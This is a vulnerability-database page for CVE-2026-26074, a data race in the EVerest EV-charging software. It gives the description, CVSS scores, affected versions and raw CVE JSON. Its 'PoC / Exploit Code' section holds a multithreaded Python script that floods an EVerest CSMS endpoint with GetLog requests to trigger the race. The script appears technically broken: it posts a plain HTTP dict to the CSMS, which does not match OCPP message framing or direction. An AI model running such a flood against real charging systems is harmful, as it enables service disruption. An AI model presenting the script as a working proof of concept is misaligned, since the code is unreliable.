Security Vulnerability Report
中文
CVE-2026-26074 CVSS 7.0 HIGH

CVE-2026-26074

Published: 2026-03-26 17:16:33
Last Modified: 2026-03-30 20:57:44

Description

EVerest is an EV charging software stack. Versions prior to 2026.02.0 have a data race leading to possible `std::map<std::queue>` corruption. The trigger is CSMS GetLog/UpdateFirmware request (network) with an EVSE fault event (physical). This results in TSAN reports concurrent access (data race) to `event_queue`. Version 2026.2.0 contains a patch.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:* - VULNERABLE
EVerest < 2026.02.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import threading import time # Target EVerest CSMS endpoint target_url = "http://target-everest-csms:8888/OCPP/201" headers = {'Content-Type': 'application/json'} # Malicious payload to trigger network request def send_network_request(): payload = { "messageType": 2, "command": "GetLog", "payload": { "logType": "DiagnosticsLog", "requestId": 12345 } } try: # Send request repeatedly to increase chance of race condition while True: response = requests.post(target_url, json=payload, headers=headers, timeout=5) print(f"Sent request, status: {response.status_code}") time.sleep(0.1) except Exception as e: print(f"Error sending request: {e}") # Simulating the race condition scenario # Note: Physical EVSE fault event is hard to simulate purely via code, # but this script stresses the network interface to overlap with potential physical triggers. if __name__ == "__main__": threads = [] for i in range(10): t = threading.Thread(target=send_network_request) threads.append(t) t.start() for t in threads: t.join()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26074", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:33.407", "lastModified": "2026-03-30T20:57:44.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Versions prior to 2026.02.0 have a data race leading to possible `std::map<std::queue>` corruption. The trigger is CSMS GetLog/UpdateFirmware request (network) with an EVSE fault event (physical). This results in TSAN reports concurrent access (data race) to `event_queue`. Version 2026.2.0 contains a patch."}, {"lang": "es", "value": "EVerest es una pila de software de carga de vehículos eléctricos. Las versiones anteriores a la 2026.02.0 tienen una condición de carrera que puede llevar a una posible corrupción de 'std::map'. El desencadenante es una solicitud CSMS GetLog/UpdateFirmware (red) con un evento de fallo de EVSE (físico). Esto resulta en informes de TSAN de acceso concurrente (condición de carrera) a 'event_queue'. La versión 2026.2.0 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.02.0", "matchCriteriaId": "EB167E67-6808-4F7B-9505-FFF0C02B288C"}]}]}], "references": [{"url": "https://github.com/EVerest/EVerest/security/advisories/GHSA-p3hg-vqgv-h524", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}